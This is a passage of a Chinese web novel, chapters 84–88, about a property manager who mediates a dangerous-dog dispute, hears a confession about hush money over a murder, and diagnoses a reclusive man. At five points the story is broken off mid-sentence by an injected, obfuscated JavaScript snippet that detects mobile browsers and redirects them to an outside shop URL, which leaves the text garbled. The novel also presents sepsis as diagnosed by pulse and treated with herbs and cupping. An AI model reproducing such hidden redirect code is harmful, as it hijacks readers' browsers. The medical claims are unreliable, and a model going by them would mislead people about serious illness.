老陈一听还有这事，很着急也很担忧，“你放心，我一会儿就给姑娘打电话，这怎么能行呢，这太危险了！他们俩那狗啊，我知道，是从小就抱回来养的，有感情了，啥都宠着！” “行，有您这句话，我就放心了，陈叔。您好好养着吧，我得回去了，物业还有事。” 蔡浩告辞以后就回了物业，一心觉着这事解决了，挺顺利，可没成想，第二天就出了事。 下午六点左右，老陈的女婿来城中花园给老陈取生活用品，狗也跟着牵来了。 进了园区门，在主路上走的时候，那狗突然之间就挣脱了绳子往中庭跑，据说是好 几天没遛了，狗子很兴奋。 它一跑不要紧，跟正往外走、要遛弯儿的赵大妈撞了个满怀，凑巧的是蔡浩也下班了往自己家回，把这一幕看在眼里。 赵大妈突然被这么大的狗子一撞，吓的尖叫一声，狗子也是吓了一跳，汪汪的叫了两声，赵姨更吓坏了，都忘记了挪步子。 蔡浩担心狗子受到惊吓后应激，赶紧过来要扯牵狗的绳子，哪知道那狗只让主人牵绳，奔着蔡浩就一顿大叫。 蔡浩也挺害怕，就吼了几声，这些正好被赶上来的陈叔女婿看到，他生气的问：“谁让你吓唬它的？” “我没有啊！它乱跑扑赵大妈身上了。”蔡浩解释。 “它怎么可能乱跑呢？你不挡着它，它能撞到你吗？狗不懂事，人也不知道让让！”陈叔女婿这个嘴巴真的是太臭了。 赵大妈听到以后就不乐意了，“你说谁呢？我这是没有心脏病，有心脏病都得给吓犯了。” 蔡浩赶紧打圆场，哪知道陈叔女婿一把就把他推搡开了，“你上一边去！我这着急呢！” 第八十四章 黑脸白脸 他一推搡蔡浩，那狗也冲着蔡浩呲牙，口里发出呜呜的声音。 赵大妈吓坏了，躲在蔡浩身后不敢动弹，还微弱的说：“你、你牵住它、牵住它。” 陈叔女婿不但没呵斥狗，反倒说：“你们真是小题大做，一条狗有什么可怕的，起开吧，我这还有事呢！” 蔡浩一看，他一点也没认识到危险性，正好借这个机会好好和他说一下规定。 “您这事不妥啊，咱们国家现在对养大型犬是有规定的，不能随意遛狗。而且今天你这狗又撞了人，前两天还吓哭一个孩子，再这样不收敛的话，我们物业有权利报警处理。” 蔡浩这段话说完，彻底激怒了老陈女婿，“给你个鸡毛你还当令箭了，你们物业了不起啊？你算个干啥的？你个小矮子！躲开！” 蔡浩仿似被人抓住了短儿，倔脾气也上来了，“就不躲开，你能把我怎么着？” 俩人僵持着，继而是推搡、动手，撕扯过程中，蔡浩的头撞到了园区的栏杆，受了轻伤，好在狗子牵着，没有引发更大的危害。 原来是这么回事，“蔡浩，老陈现在知道这件事没？”我问。 “应该知道了吧，他女婿没受伤，骂骂咧咧的领着狗回去了，也没取东西。”蔡浩说。 “你赶快回家吧，好好休息，养一养伤口，剩下的事情我来办。”我劝蔡浩回去。 蔡浩点点头，收拾收拾东西回家去了。 “领导，这事儿是不是得给老陈女婿一个下马威啊？光跟老陈说，我看没什么用。”江怀洲凑过来建议。 “你啊，你说你失不失职，怎么不注意着点呢，牵那么大狗进来？”我批评江怀洲。 “领导，我知道您肯定得说我，这事儿我确实有责任，是我没提高警惕性，您批评的对！绝对不会再有下次，您放心！”江怀洲认错态度不错。 我想了想，“师哥，咱俩去会会老陈吧。”王敬之看看我，“去医院？” 我给了他一个眼神，意思现在就走。 给江怀洲交代了晚上的任务之后，我和王敬之前往老陈住的医院。 老陈正在病房里遛弯，看那样子基本好了，他看到我推门进屋，既高兴又意外。 “向荣、敬之，咋把你们都惊动了？我没啥事，就是血压不稳。”老陈笑眯眯的说。 “陈叔，知道您病了，哪能不来看看呢！不过，我看您这气色不错，我给您把把脉，看看？”我试探性的问老陈。 “哈哈，那当然好呀，我一直耳闻向荣医术高明，把社区小刘困扰了很多年的毛病都治好了。”老陈一边说一边伸过来胳膊。 老陈的脉象缓、紧绷、虚弱，稍有些沉细、无力，是明显的肾阳虚的表现。 “陈叔，您的脉象显示肾气虚弱，属肾阳虚，回去按照我说的方子喝点汤药调理一下，肾本固住了，血压也会稳定。”我说。 “好的好的，你的诊疗结果我信得过。这些年也确实总感觉怕冷，大小便也不是很舒服，你说肾虚，那是很有可能啊！”老陈坐在我对面边喝水边说。 “陈叔，你有个女儿啊？”王敬之插话。 老陈眨眨眼，立刻嗅到了味道，“你们？是为了养狗的事来的吧？看来是很严重了，都惊动你们亲自过来了。”老陈面色凝重起来。 “陈叔，啥都瞒不过您啊。的确，今晚上出了点事儿，您女婿把蔡浩给打了。” 我的话音刚落，病房的门就被推开，进来一个男人。 老陈看向进来的人，生气的说：“我昨天不是和你说了吗？不要带狗到我们园区，你怎么不听呢！还动手打人，到底怎么回事啊？” 我和王敬之听完老陈说这话，也一起看向进来的人。 人高马大的，四方脸，大眼睛，厚嘴唇，看着就像一根铁柱。 “爸，我我这不是因为家里没人管大军嘛！好几天都来这报道，我都没好好遛它，我想怎么也是要去给你取东西，正好让它消化消化，谁知道他们物业的那么事儿多。” “王刚啊，你这么说就不对了，不是我们物业事儿多，是你们园区的物业不管事儿。你说说大军现在的造型，有时候我看着都有点发怵，那些不熟的人能不怕么！”老陈说。 “而且最关键的，你怎么能动手打人呢？现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158152|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家物业的领导来找我了，你说怎么办吧？”老陈故意来了这么一手。 我一看，既然老陈给了实施“下马威”的机会，我必须得利用啊！ 我给王敬之递了一个眼色，示意他，我俩一个白脸一个黑脸，王敬之秒懂。 “你就是养狗的事主是吧？我们今天来主要是为蔡浩被打的事。”我说。 王刚明显是仗着陈叔是业委会的，一副很不服气的表情，“怎么着？还找我爸医院来了，有事说事！” “你把蔡浩的头打伤了，你的狗把赵大妈心脏病吓犯了，我们若不是看在陈叔的面子上，早就报警了，你养狗合法吗？”王敬之黑脸。 “怎么不合法呢？我们家大军有证！”王刚还是理直气壮。 “有证？有证也不能随便牵着到处走啊，你那狗属于大型犬，以后来咱们园区，你不能随便牵 着狗过来，咱们得约定时间和范围。”王敬之说得好。 我静静的听着，寻找着下套的机会。 “哎呦，给你们能耐的，我去城中花园看我爸，我家养狗也合法的，凭什么还得限定时间、限定范围？凭什么？”王刚也是火爆脾气。 我偷偷瞄了瞄老陈，这老头子没有说话的意思，就那么看着，我纳闷他的葫芦里卖的什么药。 “如果你继续这么强硬，而且不尊重我们物业的规定，我们必定报警处理。”王敬之也不示弱。 王刚也不服，“你报、你报，你不报你都是孙子！” 他的出言不逊惹恼了王敬之，我一看火候到了，赶紧扯住要发作的王敬之说：“师哥，既然咱们是为了陈叔来的，就给陈叔个面子，别弄这么僵，好好说，好好说。” 王刚立刻扭头看了看我，表情有点松动，我一看，心想：“这也是个怂货，就是嘴巴不服软而已。” “既然你是陈叔的女婿，咱们也不能把你往警察那推，嘿嘿嘿。”我笑着说，想缓和一下剑拔弩张的气氛。 王刚果然就坡下驴，“这位是？我看你说话还有点水平，是要解决事儿的意思。” “他就是物业吕经理。”老陈插话了。 第八十五章 武大海的秘密 “你就是摆平停车位的吕向荣啊？久仰久仰。自从你那车位规划出台以后，我家车彻底进不去了。”王刚调侃的说。 我听出来他是有不满意的意思，但是我今天主要目的不是说这个。 “王儿啊，你看，是这么个事儿，咱们城中花园自从开始整顿以来，那监控设备是安的全全的了，我来的时候，赵大妈女儿不干，非要拿着你打人那段监控去告你，还要索赔呢！”我吓唬他。 王刚一听有证据，立刻愣住了，不知道该说啥了，果然是一个莽夫，有勇无谋。 “你不用着急，我已经把她安抚住了，先来陈叔这里商量办法。你看如果她去告你，我估计你家狗肯定也得被控制，到时候就不是你不想按照限定时间、限定范围遛狗的问题了，政府的手段可是很多的。”我边说边看看老陈。 老陈的眼神里流露出诡诡的神色，仿佛在说：“吕向荣啊，你可真能吓唬人！” “向荣，别这么费劲了，我们限定他都不听，报警他根本不怕，你废这么多话干嘛，走吧，回去！让赵大妈想干啥干啥！”王敬之补刀。 “别、别呀，这位兄弟，刚才是我太冲动，你别和我一样的。”王刚竟然软乎下来。 王敬之一看，对方不再耀武扬威了，也不准备痛打落水狗，闭嘴不言语了。 “吕经理，你给支个招，只要能让这事儿平息，不伤害到我家大军，我都配合、都配合！”王刚商量我。 我心里想，早这么的多好，非得按在板子上才知道害怕。 我又瞅瞅老陈，“陈叔，蔡浩伤的挺重，他家挺困难的，他那伤，您也不忍心视而不见是吧？至于赵大妈，我去给看看病，弄几副汤药调理调理，应该就没事了。” 老陈配合的说：“王刚，蔡浩的医药费你得出，他家就一个70多岁的老妈，生活挺困难的，你说你打他干嘛！” 王刚赶紧赔笑，“好，我出，我一定出！我这回去就去找他送钱。” “但是这狗吧，还不是很好整”我又说话了，看着王刚，故意显出很为难的神色。 这狗明显是王刚的软肋，他神色很慌乱的看着老陈，意思希望老陈给说说情。 老陈想了想，叹口气说：“向荣啊，既然咱们认识这么久了，我也就不瞒你了。王刚这几年也挺难的，大军是他的精神支柱。” 我很疑惑的看看老陈，什么情况？ “我女儿三年前出了车祸，成了植物人，王刚一直不离不弃的照顾，还顺带着照顾我、替我女儿尽孝，孝顺我，他一个人连个给照顾生活起居的人都没有大军来了以后，一直陪着他，他拿大军也是当孩子待，这回就算是我老头子做个担保，以后我们一定按照规定的时间和范围遛狗，你们劝劝赵大妈，高抬贵手放过大军吧！”老陈用殷切的眼神看向我。 我明白了，原来是这么回事，这王刚在婚姻的问题上倒算是有情有义，如果他真的能遵守规定，就再给他一次机会。 “好，既然陈叔都说话了，这个面子我一定给！只要王刚能按照我们的约定遛狗，我一定能说服赵大妈。”我拍板了。 王刚的紧张情绪放松下来，看着我笑了，这家伙，笑起来还挺憨厚。 这时候我手机响，拿出来一看，是林翔，我赶紧出了病房接电话。 “老林，请指示。”我接起电话说。 “向荣，武大海醒了。”林翔在电话那边说。 “啊，武大海醒了，好消息啊！” “你来一趟武大海所在的医院，他说有话要和你说。”林翔说。 “跟我？有话跟我说？”我很惊奇，什么情况？ “对，来了再说吧，我在这等你。”林翔说完挂断电话。 我回到老陈病房看看几个在等着我的人说：“师哥，你陪陈叔一会儿吧，武大海醒了，我得去一趟。王刚的事儿包在我身上，回去我就找赵大妈。至于限定的时间和范围，王刚，你跟你王敬之哥唠。” 我朝王敬之眨巴眨巴眼睛，忙不迭的跑出病房，奔向武大海所在的医院。 林翔在病房等我，我进门以后，一眼就看到了半坐着的武大海，昏迷不醒的这段时间，让他变得更加的消瘦、苍白。 “武大哥，你醒啦，感觉怎么样？”我走到武大海床头，看着他说。 “吕经理，谢谢你帮了我儿子光耀，你是个好人啊！”武大海的声音很虚弱。 说到这，他眼睛里蓄满了泪水，碍于我和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158153|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林翔在场，他极力控制着。 “我对不住小耀，是我没尽到做爸爸的责任。我以为一个男孩子跟继母在家没什么的，谁承想这个女人心这么狠！”武大海一边说一边拍着腿。 “武大哥，都过去了，你也不要太自责，以后跟光耀好好生活，帮孩子把这篇儿尽快的翻过去。”我劝。 武大海的眼睛亮了亮，“吕经理，我得跟你坦白一件事，也是跟警察坦白。这件事折磨我的良心很久了，你帮了小耀，让我明白了很多道理。” 我和林翔都期待着他的后文，具体是什么？ “文月出事以后，我就知道她死了。他们给我拿了20万的封口费，所以我一直没有 告诉小耀他妈妈死了。”武大海说完这一句长出了一口气。 我和林翔四目相对，这是我俩猜到的内容。 “她跟杜国瑞有奸情，我对她除了恨，没有什么感情。这顶绿帽子借由她的生命终止，也是她的惩罚。封口费，也是我的精神损失费。”武大海依旧恨恨的说。 “老武，谁给你的封口费？”林翔开始提问。 “许德生给的。他是荟萃亭的项目经理，他说李文月和杜国瑞巡视工地的时候失足摔死了，20万是给家属的抚恤金。话里话外的知道我被带了绿帽子，我很羞愤，收了钱就给他赶走了。”武大海说。 事情到了这一阶段，仿佛已经水落石出，许德生和丁有生就是幕后黑手，悬而未决的是冯楠，还有其他几个人被杀的原因和真相。 “老武，李文月不是失足摔死的，是被谋杀的，而且死的时候经历过暴打，死前应该很绝望。挖出来的那片区域里，还有个袋子，里面有一个上锈的文具盒。”林翔说。 武大海愣住了，“什么？谋杀？啊，我不知道啊，谁啊？谁这么残忍能下得去手啊！” 我一听，果然还是有情分在的，男人的自尊心让他隐瞒真相这么多年，也罢。 “我听光耀说，他记得他妈妈走的那天早上和他说，要给他买新文具盒，他一直期待着他妈妈回来。想必挖出来的就是李文月给孩子新买的文具盒吧？”我轻声说。 武大海更加的愣怔，眼里的泪水再也抑制不住，滑落在身上、被子上。 第八十六章 职场如战场 从武大海住的医院出来，林翔跟我说已经约好了郑杰那边，明天上午过去。 “老林，穆艳红的案子，还有其他嫌疑人吗？有什么进展？”我很关心穆艳红的案子。 “进展很迟缓，她的聊天好友有上百个，我们得一个个的排查，这个姑娘的社交网络很庞大呀！”林翔感慨。 “还是没找到任何3号出现的证据是不？”我问。 “3号这件事儿很诡异，他那个门口的监控居然是坏掉的，而且是直到我们去检查了才发现。你说之前3号是维修监控设备的是吧，我怀疑他自己做了手脚。” 我听着林翔的说法，晕了，这监控设备还带这样的？ “我明白了，其实你心里最怀疑的人还是3号，只是现在没发现他作案的证据，对不？”我问。 林翔点点头。 “好了，不多说了，我该走了，明天咱们准时会和，先把郑杰攻下来吧。”林翔跟我做了告别。 回去的路上，我充满了疑问，怎么样才能既作案、又不被发现呢？ 脑海里浮现出3号的模样，3号的眼神，3号是个聋哑人，全部的神态表现都在那双眼睛里，如果我能跟他对一次话，说不定会有发现。 打定主意之后，我给林皓打电话，“林哥，我准备去会会3号，等明天我办事回来就过去。” “好，来吧。”林皓在电话里的语气十分颓唐。 “林哥你怎么了？怎么有气无力的？”我问。 “向荣，我今天接到集团的邮件，我被停职了，很快会有新人过来接替我的位置，明天你来了，我们再详细说吧。” “什么？他们真的这么做了？还这么快！”我感到不平。 “你别给我添乱，明天来了我再和你详细说。咱们哥俩的情义不会断，你好好的把手里的工作做好喽！你爸妈还等着你买房进城过好日子呢！”林皓提醒我。 我没说话，林皓说的都对，但是又有哪里不对。 结束和林皓的通话后，我垂头丧气的回到城中花园物业办公室，江怀洲和王敬之都在等我。 我看看王敬之，问：“师哥，搞定王刚了？” “刚走，这回可听话了，怎么说怎么是。”王敬之仔细看看我说：“你又受啥刺激了？这两天怎么总是霜打茄子似的。” “林皓被停职了。”我有气无力的回。 “因为穆艳红的案子？”王敬之也挺意外。 “对。再一个他的顶头上司跳槽以后，继任者是原来顶头上司的死对头，所以” 我其实内心是费解的，怎么老板宁愿看着人事争斗，也不愿意好好赚钱。 林皓是多么优秀的一个精兵啊！我不理解老板的想法，所以我也当不了老板。 “那你怎么打算的？”王敬之问我。 我看看江怀洲，示意王敬之有空再说，我不希望团队的军心因为上面的变动而混乱。 晚上我拉着王敬之出去喝酒，其实我不是很喜欢喝酒，除非有心事或者想不通了，才会小酌一点，释放一下压力。 “吕向荣，咱俩在酒这个东西面前，一个是1、一个是2，你拉着我喝酒是啥意思？” “师哥，我想不通。”我想一吐为快。 “有什么想不通的，为了林皓？”王敬之边说边往杯子里倒了一点酒，示意我也倒上。 我瞅瞅杯子，直接将杯子倒满，端起来想一口喝光，寻思寻思又不行，喝了一口。 “我说吕向荣啊，你在林皓这个问题上想不通，就跟你刚才喝这口酒是一样的。想法挺豪迈，想一口干了，但是最后还是要量力而行，顺势而为，你懂不懂？”王敬之说。 “师哥，你说的挺有道理啊，好像是这么回事。” “肯定有道理，这叫旁观者清。我早就听说职场如战场，对手上来了，要用自己原来的人，这也很正常，林皓急流勇退是好事。”王敬之也喝了一小口。 “师哥，我在这家集团干了三年多，那可真是从没有为自己考虑过，林皓跟我一样。他没有功劳也还有苦劳吧，怎么能因为这么点事就停职呢！”我发着牢骚。 “这事，不算小吧？之前恐吓、偷窥，这些也都备过案，现在人没了，社会影响还是有的。况且你们集团只是给他停职，又不是辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158154|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退他。” “停职，马上有其他人来接任，咱们心知肚明的嘛，肯定不会做回原位置的。”我补充。 王敬之把杯子里剩下的一点喝光，然后说：“这事儿你就跟我搁这嘟囔嘟囔就行了，千万别去跟林皓发牢骚，我相信他做到了那么高的位置，心里肯定有自己的打算。你迟早会想通的。” 我看看王敬之又想说话，王敬之跟我摆摆手，“酒我可不喝了，我要吃面，给我来点主食。” 一句话搞的我也觉得面前这酒太难喝，“服务员，来两碗面，多添点酱。” 跟林翔去郑杰家的路上，我翻看着林翔递给我的有关于郑杰的信息。 郑杰今年还不到70岁，小学文化，早年干过很多职业，最一开始做的就是开矿，后来跟谢志强一起做包工头的业务，再后来就是房地产开发。 “老林，郑杰 干过的领域挺多的，社会经验很丰富啊！你和他聊过吗？”我问。 “应该说没正经聊过，上一次去拜访，他捂的严严实实出来的，房间里还不能太亮，搞得我现在都记不清他到底长什么样，就记得眉毛白的，露出的皮肤也是白的。” “你说带我去给他看病，他能接受吗？”我很不确定。 “试试呗，只要他能让你把脉，你是不是就有用武之地了？”林翔说。 “让我把脉，我能知道个一二，但是怎么治、能不能治好，我可不确定。” “没关系，我们的目的就是攻破他的心理防线，让他说一说当年丁有生失踪的真相，还有后期这些人搞开发的内情，最好还能从他嘴里确认吴岩就是丁有生。”林翔补充。 “这难度不小啊，如果郑杰也是犯罪团伙中的一个，你觉得他能被攻破防线吗？” 林翔陷入了沉思，没有再回答，我知道，他也没把握。 到了目的地，临进别墅前，林翔说：“现在这几起案件的证据都是很分散的，缺少真正能把全部细节都串联到一起的证据，尤其刘才东只是提取到了dna，只能试试了，尽人事，听天命！” 我看看他，暗自感叹，林翔是一个优秀的警察。 第八十七章 不见光的人 接待我们的是郑杰家的佣人，一个上了年纪的老头，但是身体看着挺硬朗。 他让我们坐着等一下，他上去通报。 等了能有半个钟头，我都有点着急了，才看到佣人下楼，“两位，跟我上楼吧。” 林翔示意我跟着走，我知道，一定是楼上有专门的暗室。 楼上的空间很大，但是无一例外的，窗户上都挡着窗帘，搞得室内跟傍晚一样。 我和林翔找了个位置坐下，心里感叹，“这郑杰得是多怕光啊，就算是白化病人也没这么邪乎吧！” 正想着，佣人从走廊最里间推出来一个轮椅，轮椅上坐着的人，让我惊奇的说不出话。 他的身高应该不高，整个人都陷入到轮椅中的感觉，整体散发出来的气质就是瘦弱，好像来一阵狂风就可以摧枯拉朽。 因为捂得严严实实，容貌基本上是看不出来的，我理解了林翔说的，根本没记住他长什么样。 “林警官，对不住呀，我刚刚发病了，才稳当下来，让你们久等了。”声音苍老的像从地下发出来的。 “没关系，不着急的，这位是我带过来给你认识的郎中吕向荣。” 林翔介绍完，我点头跟郑杰问好，“郑杰先生，您好，我是吕向荣。” 捂得严严实实的脑袋侧过来打量我，也许是室内昏暗的原因，我觉得他的眼神很亮。 “你好，我知道你，听冯楠说过。是你治好了他的晕厥病，没错吧？”郑杰开门见山。 我一听，太好了，不用渲染前戏了，我的业绩他知道。 “是的，冯楠是荟萃亭的业主，因为王宁，我们认识的。”我也如实交流。 “王宁？哦对，四弟的爱人。”郑杰说。 “林警官，您是怎么认识吕向荣的？他给我看病我很愿意，其实我也早想认识一下，我三弟的病不比我难缠，都能治好，我觉得我这个也有希望。”郑杰问林翔。 “吕向荣是我们刑警队的外援，帮我们立下不少奇功。实不相瞒，我的甲亢也是他发现的，而且也是吃了他开的药方，现在调理的基本没问题了。”林翔说。 郑杰听到我还治了林翔的病，明显的有了兴趣，“吕兄弟，你的本事应该不小啊，很荣幸认识你！” 我笑笑，不想太高调，“郑先生，如果你愿意的话，让我把把脉，好吗？” “当然可以。” 佣人推着郑杰的轮椅来到我身边，看着郑杰伸出的惨白的、枯瘦的手臂，我心一惊。 “郑先生，你这个肤色多久了？” “好多年了，里外里算算，从我不能见光开始，肤色就越来越白。” 我不再说话，专心感受郑杰的脉象，脉搏逐渐增快，快速而有力，近距离的接触后能感到郑杰呼吸急促，偶有深度呼吸，胸部起伏剧烈。 “郑老，您平时是不是常有发热或者是出冷汗、牙齿打颤的情况？”我问。 郑杰重重的点头，呼哧呼哧的喘着粗气。 “您把颈项部或者胸部露出一些我看看。”我看着郑杰说。 还没等郑杰说话，佣人就说：“这恐怕不行，老爷不能见光，每次一裸露皮肤，准会发烧。” “我现在已经大概知道病症的方向，就差这一点方可确认，如果不配合的话，恐怕不能给你写方，写了也不准。”我直言不讳。 郑杰跟佣人摆了摆手，自己开始解颈项部的扣子，打开后我发现，果然有皮下瘀斑，严重的是紫褐色，还有一些新鲜的红色，伴有轻微凸起。 看完以后，我示意佣人可以给郑杰系好扣子了。 “郑老，您这是脓毒血症，西医上叫败血症。诱因是外邪入侵，主要是正气不足导致的。比如平时你饮食不当、起居失调、因病致虚、气阴耗盛等都可以出现正气不足，这个时候如果为外邪侵入制造了便利条件，就会致病。邪实、邪热、热毒充盈表里，进而沉入脏腑，使表里三焦生病。” “哦？可我为什么会怕光、全身皮肤逐渐变白呢？我去一些医院诊治，有医生说我是白化病。”郑杰也有疑问。 “你的脉象表现不是白化病的特征，白化病一般是遗传，脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158155|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 络膜色淡、虹膜色较浅，但是你的瞳孔颜色还是正常的黑褐色。白化病发病原因是血瘀、肝郁、脏腑功能失调。我猜你现在服用的药物应该都是收效甚微，没有根治吧？”我说。 “是的，基本上没什么用。这也是我越来越严重的原因。吕兄弟，那你看我这败血症怎么治？”郑杰显然已经接受了我的说法。 “除了服药以外，还要配以针灸或者拔罐。药物以清热解毒、通腑泄热为主，我给你写方子，你去抓药熬药。针灸的话就得我定期上门来给你做了，主要也是活血化瘀、清热解毒，缓解你的不适症状。再辅之以拔罐，利用负压使淤血消散，促进体内湿气、毒素排出。” 说完我看看郑杰，“不知道你是否方便？” “当然、当然，每次来治疗我会派车去接你，看你说的这么有根有据，我特别有信心。” 郑杰的心情明显见好，想了想他又问我：“吕兄弟，我家没有得这个病的历史，祖上几代都很健康，我怎 么会得这个病呢？” “郑先生，这个事情跟家族遗传没关系，脓毒血症是感染性疾病，主要是有病菌侵入了你的血液，释放毒素，才导致的发热、皮肤苍白和血压下降等症状。至于你现在如此的怕光，那是病症严重的表现。” “就是说我因为接触了有毒病菌才导致的这个病？”郑杰又问。 “这个原因占80，其它还有可能是正气不足的时候，你太劳累，过度用力。” 郑杰若有所思的边点头边嘟囔，林翔这时说：“郑先生，郎中也给你看过了，既然说得出诱因、症状还有治疗方案，您就试试，说不定真的就有奇效。” “一定的、一定的。自从三弟频繁的夸奖吕兄弟的医术以来，我就已经深信不疑了，今天得以见面，也是一种缘分。”郑杰笃定的说。 林翔这时起身说：“今天就这样吧，你们约好下次的治疗时间，下次我就不过来了，向荣，就看你的了。” “你放心，一定尽力！”我给林翔传递着信息，他的意思我懂，让我在接下来的诊疗过程中去刺探真相。 第八十八章 给自己开拓疆土 从郑杰家出来，我直接去了林皓所在的锦绣小区。 林皓正在办公室等我，我推门进去的时候，依旧是一屋子的烟。 “林哥，少抽点烟，对身体不好！”我还是一边说一边开窗。 “明天新来的大区经理就来报道了，一会儿你帮我把我的东西都搬回寝室吧。”林皓没接我茬。 “这么快就到了？是谁啊？原来是哪里的？”我问。 “这个人你可能也见过，上一回开年会的时候，上台讲话的，叫袁振文。” “老袁？怎么是他。”我嘟囔着，有点惊讶。 “怎么了？你和老袁有交集？”林皓问我。 “倒不算是交集，但是他对我平时给人治病、讲讲风水很有微词，他说我是不务正业，当时我有点不太高兴，但是看他是老同志，又很优秀，就没说什么。”我回。 “老袁为人比较正，稍显刻板，人品倒是没有问题，他带的兵也都一板一眼的，拿到的评优不比你少。把你交给老袁，我还是很放心的。”林皓说。 “林哥，你这是要离开？不等着集团重新安置了？”我问。 “对，既然你问我了，我就和你说一下我的计划，免得你总是为我担心，总是要出头、搞不平的。向荣，职场就是这样，咱们要遵守职场的规则。如果能够在职场中成为朋友，那咱们就当朋友一直处，如果不能成为朋友，也不需要成为敌人，都是工作，没必要代入生活。你太感性，以后要克制。”林皓再次交了我一个职场的生存道理。 “林哥，我这不是，跟你打配合习惯了嘛，我其实有点、有点舍不得你，嘿嘿嘿！” 我觉着一个大老爷们说出这句话有点不好意思，脸涨得通红。 林皓看出我的窘态，“哥明白，第一次认识你的时候，我就知道你是一个性情中人。我也舍不得你啊，这是我这些年一点一滴打下的疆土，就这么让给别人，你以为我舍得？” 林皓开始收拾东西，我知道他是在借此掩饰心里的难过情绪。 顿了顿他又说：“不过没关系，疆土虽然打下了，那也是人家的，为人家做的贡献，哥这回算是想明白了，我要为自己开拓疆土，到时候，你一定要来帮我，答应哥不？” 我一愣，还在琢磨是什么意思的时候，林皓笑笑说：“我准备自己干，一开始可能小一点，慢慢的客户多了，肯定就做大了。这几年干这个，人脉资源哥还是有不少的。” 哦，原来是这个意思。“哥，只要你觉得能行，我支持你，你随时召唤我，我一定到！” 我现在想想，当时的应承，确实有点英雄主义，有跟林皓的情义惺惺相惜的情感在里面，同情他一切要从零开始，兄弟有难，怎么能不帮呢！ 林皓开心了，“我就知道你肯定不会让我失望，走吧，都收拾好了，帮我拿回去。” 我跟林皓大包小裹的往宿舍走，路上要路过3号家阳台对着的中庭，我下意识的看了一眼3号家挡着厚厚帘子的阳台。 就那么一瞬间，被我逮到了窗帘缝子后面站着的腿，有人在往这边看。 我的视力一直很好，当兵的时候打靶、各种训练，都是视力优秀，窗帘虽然很厚，但是那条缝不是假的，后面站着的腿也不是假的。 我小声跟林皓说：“林哥，3号在看我们。” 林皓秒懂，也没往那边看，一边走一边和我说：“我已经和老袁说过，穆艳红的案子你是警方的外援，让他配合你，他答应了。” 我一听林皓这是没办法给我支援了，也罢，他现在的境地干这个也确实尴尬。 “3号绝对不像表面那样人畜无害、楚楚可怜，我总觉得他邋遢的外表下，有颗复仇的心，尤其他爸去世这个事情，对他打击太大了。”林皓说。 “他爸去世，是突发性疾病，跟穆艳红有什么关系呢？”我说。 “我说的仇恨并不是对穆艳红，是对我们物业。上回去他家勘察，他那双眼睛像要吃了我一样。”林皓心有余悸。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158156|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他一个聋哑人，全部情绪的出口都是那双眼睛，肯定是看着很凌厉了。你说他对物业仇恨，为什么？”我很纳闷。 “具体我也不清楚，但我的直觉不会错，你可以去他家看看他，看了眼神你就理解我的意思了。”林皓说。 我把林皓送到住处，又和他寒暄了一会儿，就准备去看3号。 “向荣，我明天就回自己家，后续这几个月我先运作开公司的事情，你这个期间跟老袁好好配合，以后都是同行，别树敌。等哥哥这边全支起来了，再叫你。” “好，放心吧，林哥，我等着你。” 出来的时候我的心里挺乱的，虽说是“天下没有不散的宴席”，以后还会有跟林皓重聚的机会，但是离别总是让人心里忧虑。 林皓说的对，我太感性，得克制。 去3号家的路上，我仔细查看，包括路线、路上的各个监控设备、甚至是方位，我相信只要他做过，就一定会有线索流出来。 他为什么要仇恨穆艳红，这也是我想知道的。 